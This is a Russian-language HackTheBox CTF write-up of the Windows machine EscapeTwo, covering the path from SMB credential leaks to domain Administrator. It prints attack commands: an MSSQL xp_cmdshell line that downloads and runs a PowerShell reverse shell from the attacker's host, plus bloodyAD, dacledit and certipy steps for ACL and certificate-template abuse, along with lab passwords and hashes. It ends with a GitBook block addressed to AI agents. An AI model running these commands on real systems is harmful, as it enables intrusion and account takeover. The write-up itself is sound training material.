> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # Разбор HackTheBox EscapeTwo Разбор Easy Windows-машины HackTheBox EscapeTwo, охватывающий перечисление SMB, утечку информации о паролях (zip, файл Excel), эксплуатацию MSSQL (Microsoft SQL) с RCE, перечисление BloodHund, с практ {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление SMB * Утечка паролей из информации (zip, файл Excel) * Эксплуатация MSSQL (Microsoft SQL) с RCE * Перечисление BloodHound * WriteOwner для пользователя CA/\_SVC (повышение привилегий) {% endhint %} В ходе теста на проникновение в среде Windows у нас есть следующие учётные данные: * имя пользователя: `rose` * пароль: `KxEPkKe6R8su` ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**Анализ открытых портов с extractPorts:** Используя функцию extractPorts, в кратком формате отображаем открытые порты и копируем их в `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` буфер обмена

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

### Порт 445 - SMB **Проверяем пользователя с помощью CrackMapExec** Мы подтверждаем, что `rose` пользователь существует на контроллере домена (DC): ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**Исследование SMB-общих ресурсов** Мы перечисляем доступные общие ресурсы с помощью `--shares` команды: ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **Результат**: Видны две интересные папки: * `Users` * `Отдел бухгалтерии`

/*/* Подключение к SMB-общему ресурсу с помощью smbclient/*/* Мы получаем доступ **Отдел бухгалтерии**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` В этом каталоге мы находим два файла Excel: ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**Определение формата файлов** С `файл` с помощью команды мы определяем, что эти файлы на самом деле являются ZIP-архивами.

**Извлечение ZIP-архива** Мы распаковываем найденные файлы:

**Поиск конфиденциальной информации** Мы фильтруем извлечённые файлы, чтобы найти информацию, содержащую ключевое слово **пароль**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**Результат**: Файл с именем `shareStrings.xml` содержит список пользователей и паролей.

Имя	Фамилия	Электронная почта	Имя пользователя	Пароль
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**Проверка учётных данных с помощью CrackMapExec** Мы используем найденные учётные данные для проверки учётных записей: ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **Результат**: Работает только `oscar` пользователь действителен.

## Эксплуатация MSSQL (Microsoft SQL) **Порт 1433 (MSSQL)** Порт 1433 открыт, что указывает на работающий сервер Microsoft SQL. Мы проверим подключение с разными пользователями, найденными ранее.

**Проверка подключения к MSSQL** Мы используем `mssqlclient.py` чтобы попробовать подключиться: ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**Результат**: Только пользователь `sa` работает. ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### Обратная оболочка через MSSQL **Включение выполнения команд** Чтобы выполнять системные команды, мы активируем `xp_cmdshell`: ```sql enable_xp_cmdshell ``` Затем мы тестируем с простой командой, например `ipconfig`: ```sql xp_cmdshell ipconfig ```

**Подготовка прослушивания на нашей машине** Мы запускаем слушатель на порту 4444: ```bash rlwrap nc -nvlp 4444 ``` **Скачать PowerShell-скрипт** Мы подготавливаем PowerShell-скрипт под названием `PS.ps1` который включает обратный shell. В конце скрипта мы добавляем следующую строку: {% embed url="" %} В конце скрипта мы добавляем следующую строку: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` Мы размещаем этот скрипт на локальном веб-сервере: ```bash python3 -m http.server 80 ``` **Выполнение reverse shell** На сервере MSSQL мы выполняем следующую команду, чтобы скачать и запустить PowerShell-скрипт: ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## Переход к пользователю Ryan **Обнаружены новые учётные данные** Исследуя систему, мы обнаруживаем каталог с именем **SQL2019** в корне. Внутри мы находим следующие учётные данные: * Имя пользователя : `ryan` * Пароль: `WqSZAF6CysDQbGb3`

**Проверка учётных данных с помощью CrackMapExec** Мы проверяем, действительны ли эти учётные данные: ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

Изучая общие каталоги, мы определяем пользователя по имени `ryan`. Мы проверяем те же учётные данные, что и для `sql_svc`:

**Результат**: Учётные данные также работают для пользователя `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### Флаг user.txt :)

## Повышение привилегий ### Перечисление с помощью BloodHound-python Использованная команда: ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner: **Наблюдение :**/ этот **Ryan** пользователь имеет `WriteOwner` права в **CA/ SVC** учётной записи, которая также является издателем сертификатов. Это означает, что мы можем изменить владельца учётной записи **CA/ SVC** чтобы связать **Ryan**.

### Берём контроль над CA/\_SVC с помощью BloodyAD #### Изменение владельца учётной записи {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} Эта команда использует BloodyAD для изменения владельца **CA/ SVC** и задать его для **Ryan**. Как владелец, **Ryan** теперь может изменить привилегии, связанные с учётной записью. ### Изменение разрешений с помощью Dacledit #### Предоставить Ryan полные права {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} Эта команда изменяет **DACL** (список дискреционного контроля доступа) у **CA/ SVC** учётной записи, чтобы предоставить полный контроль **Ryan**. Это позволяет Ryan сбросить пароль или манипулировать ключами аутентификации.

### Извлечение теневых учётных данных #### Сгенерировать и получить NT-хэш {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

NT-хэш для **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` Эта **Certipy** команда генерирует идентификационный ключ для **CA/ SVC**, что позволяет аутентификацию на основе сертификата. Файл `.ccache` файл также создаётся, что облегчает атаки на основе Kerberos. ### Изменение шаблона сертификата #### Настраиваем шаблон DunderMifflinAuthentication {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

Эта команда изменяет **DunderMifflinAuthentication** шаблон сертификата, позволяющий выпуск сертификатов с высокими привилегиями. ### Выпуск сертификата для администратора #### Запросить сертификат для имперсонации {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

Эта команда требует сертификат от имени Administrator (`Administrator@sequel.htb`), что позволяет выдать себя за эту учётную запись. ### Аутентификация как Administrator #### Использование сертификата для аутентификации ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**Хэш NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

Эта команда аутентифицируется как Administrator с ранее полученным сертификатом и извлекает NTLM-хэш. ### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.